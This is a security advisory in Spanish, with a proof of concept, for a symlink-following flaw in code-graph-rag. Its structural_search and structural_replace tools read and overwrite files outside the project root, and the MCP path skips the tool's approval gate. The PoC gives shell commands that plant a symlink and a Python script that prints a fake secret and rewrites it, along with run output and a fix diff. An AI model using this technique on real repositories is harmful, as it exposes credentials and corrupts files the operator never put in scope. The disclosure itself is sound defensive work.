
PoC — seguimiento de enlaces simbólicos para lectura/escritura arbitraria de archivos fuera de la raíz del proyecto en code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1).
Estado del CVE: solicitado, pendiente de asignación. Este hallazgo se publica como GHSA-85gg-2gfq-q95m. Al asignarse el CVE, este repositorio se renombra
CVE-YYYY-NNNNN-code-graph-rag-PoCy este banner se reemplaza con el enlace del CVE.
| Investigador | Dostxodjayev Abdullox (@squeeze440) |
| Aviso | GHSA-85gg-2gfq-q95m |
| CVSS 3.1 | 7.1 (Alto) |
| Debilidad | CWE-59, CWE-22 |
Resumen
Un atacante remoto/local que logre incluir un enlace simbólico en un repositorio de código fuente que code-graph-rag analiza puede provocar que las herramientas structural_search y structural_replace (respaldadas por AstGrepService, expuestas tanto como herramientas MCP como herramientas de IA agéntica) lean y — mediante structural_replace con dry_run=False — sobrescriban archivos arbitrarios fuera de la raíz del proyecto configurada, porque la comprobación de contención de rutas de la herramienta (should_skip_path/_classify_file) se realiza léxicamente sobre la ruta sin resolver y nunca comprueba Path.is_symlink() ni llama a .resolve(), a diferencia del propio decorador (correcto) validate_project_path del proyecto, usado en otros lugares.
Producto
vitali87/code-graph-rag (PyPI: code-graph-rag, CLI: cgr)
Versión probada
Commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (versión de pyproject 0.0.550) — main actual en el momento de la prueba. Se confirmó que este commit ya contiene la corrección del aviso anterior (GHSA-vvr2-h2jp-838m: path traversal en read_file paginado) y la puerta de autenticación bearer del HTTP-MCP más reciente (_validate_http_exposure en codebase_rag/mcp/server.py), por lo que este es un problema distinto y aún abierto sobre esas correcciones.
CVSS v3.1 estimado
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (Alto)
Métricas no obvias:
structural_search/structural_replace contra ese proyecto para que se dispare la lectura/escritura.Detalles
AstGrepService (codebase_rag/tools/ast_grep_service.py) respalda tanto las herramientas MCP/agénticas structural_search como structural_replace. Enumera los archivos candidatos con os.walk() y filtra cada ruta únicamente a través de should_skip_path():
codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — recorre self.project_root con os.walk(); cada entrada de directorio no-directorio devuelta por os.walk (incluido un enlace simbólico que apunte a cualquier lugar del disco) se trata como un archivo dentro del alcance.codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — la única comprobación de contención es should_skip_path(...) seguida de abs_path.relative_to(self.project_root) (línea 82); abs_path nunca se resuelve, por lo que esta comprobación es puramente léxica/basada en cadenas.codebase_rag/utils/path_utils.py:80-109 (should_skip_path) y codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — calcula rel_path = file_path.relative_to(repo_path) sin llamar nunca a .resolve() ni a Path.is_symlink(). Nada en esta función trata un enlace simbólico de forma diferente a un archivo real.codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) llama a path.read_text(), que Python sigue a través del enlace simbólico hasta su objetivo real, sin importar dónde resida ese objetivo.codebase_rag/tools/ast_grep_service.py:187-208 (replace), concretamente la línea 208 — abs_path.write_text(new_source, ...) cuando dry_run=False, siguiendo de nuevo el enlace simbólico y sobrescribiendo el contenido del archivo objetivo real.Esto es inconsistente con cómo el resto del código base maneja exactamente la misma clase de riesgo. Las herramientas de lectura/escritura/edición de archivos (file_reader.py, file_writer.py, file_editor.py) están todas protegidas por validate_project_path (codebase_rag/decorators.py:73-75):
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)
.resolve() sigue los enlaces simbólicos antes de que se ejecute la comprobación de contención, por lo que esas herramientas rechazan correctamente un objetivo fuera de la raíz. El propio absolute_path_within_project_root() de path_utils.py (codebase_rag/utils/path_utils.py:156-176) documenta el mismo principio explícitamente en su docstring: "Las llamadas a resolve() son fundamentales: la contención se comprueba léxicamente, por lo que un segmento .. sin resolver o un enlace simbólico escaparía de la raíz." — pero should_skip_path()/AstGrepService, usados por structural_search/structural_replace, nunca aplican ese patrón.
Alcance / exposición de las dos herramientas:
structural_search (codebase_rag/tools/structural_search.py:24-46) no lleva ningún indicador requires_approval en absoluto — el modelo de un cliente MCP puede llamarla de forma autónoma sin confirmación humana.structural_replace (codebase_rag/tools/structural_editor.py:52-57) está marcada con requires_approval=True, pero ese indicador solo lo aplica el propio bucle de agente de pydantic-ai. La ruta del servidor MCP lo omite por completo: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) llama directamente a self._structural_editor_tool.function(...), y la herramienta MCP se registra sin ningún concepto de aprobación en codebase_rag/mcp/tools.py:369-388 (ToolMetadata para MCPToolName.STRUCTURAL_REPLACE) — cualquier cliente MCP que pueda llamar a herramientas puede invocar structural_replace con dry_run=False de una sola vez.Prueba de concepto
Confirmado dinámicamente contra el paquete instalado (mgclient/pymgclient simulados exactamente como en la PoC del aviso anterior, ya que el cliente nativo de Memgraph no es necesario para esta ruta de código).
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService
SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)
matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN' (read escape)
changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())
Salida real de la ejecución (/tmp/poc_venv, paquete instalado mediante pip install --no-deps -e . desde el commit probado):
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
match in reported file='linked_module.py' text='API_TOKEN'
match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
structural_search(), attributed to a path 'inside' the project root.
[*] Calling AstGrepService.replace(pattern='API_TOKEN',
rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
wrote change to reported file='linked_module.py' matches=2
[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
(/tmp/poc_symlink/safe-project-root) was modified by structural_replace
via a symlink placed inside the root.
Sin capturas de pantalla — este es un hallazgo puramente a nivel de biblioteca/CLI sin componente de navegador/GUI.
Impacto
Cualquier operador que apunte cgr (CLI, modo agéntico ask_agent, o las herramientas MCP structural_search/structural_replace) a un repositorio que no haya auditado por completo — el caso de uso exacto para el que está construida esta herramienta ("consultar, comprender y editar bases de código multilenguaje") — puede ver cómo el enlace simbólico plantado en ese repositorio se usa para:
cgr (credenciales, claves SSH, archivos .env, código fuente de proyectos hermanos), mediante structural_search, sin ninguna puerta de aprobación en absoluto.cgr, mediante structural_replace(dry_run=False), omitiendo la propia puerta de aprobación de la herramienta cuando se llama a través del protocolo MCP.Esta es la misma clase de error de "contenido malicioso en el código base analizado escapa de project_root" que GHSA-vvr2-h2jp-838m, pero con una causa raíz distinta (falta de resolución de enlaces simbólicos en AstGrepService/should_skip_path, CWE-59) y un sumidero distinto y más grave (escritura arbitraria, no solo lectura) en un componente diferente (codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py, no el read_file paginado de codebase_rag/mcp/tools.py). No se solapa con los rangos de líneas vulnerables ni con la corrección del aviso anterior.
Debilidades
Remediación
Aplicar el mismo patrón de resolver-luego-contener que ya usan validate_project_path (codebase_rag/decorators.py:73-75) y absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) a should_skip_path. Rechazar cualquier ruta cuya ubicación resuelta (siguiendo enlaces simbólicos) escape de la raíz del proyecto resuelta, en lugar de comprobar solo la cadena de ruta sin resolver:
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
_is_file = path.is_file() if is_file is None else is_file
if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
return True
+ # Reject symlinks (or any path) that resolve outside the project root,
+ # mirroring validate_project_path's decorator (decorators.py:73-75) and
+ # absolute_path_within_project_root (this module, below).
+ try:
+ path.resolve().relative_to(repo_path.resolve())
+ except ValueError:
+ return True
rel_path = cached_relative_path(path, repo_path)
Concretamente: este único cambio en should_skip_path corrige tanto _classify_file (search) como el filtrado de os.walk en _iter_source_files (replace), ya que ambos pasan por él. Como defensa en profundidad, _iter_source_files podría además omitir directamente las entradas de directorio que sean enlaces simbólicos (entry.is_symlink()) durante el os.walk, ya que una herramienta de análisis de código impulsada por IA nunca debería necesitar atravesar fuera de la raíz indexada en primer lugar.
Crédito
Dostxodjayev Abdullox (GitHub: squeeze440)
Canal de notificación
La Notificación Privada de Vulnerabilidades (PVR) está confirmada como habilitada en vitali87/code-graph-rag; este informe está destinado a enviarse a través de ese canal (GitHub Security Advisories), de forma coherente con el aviso ya publicado del repositorio (GHSA-vvr2-h2jp-838m).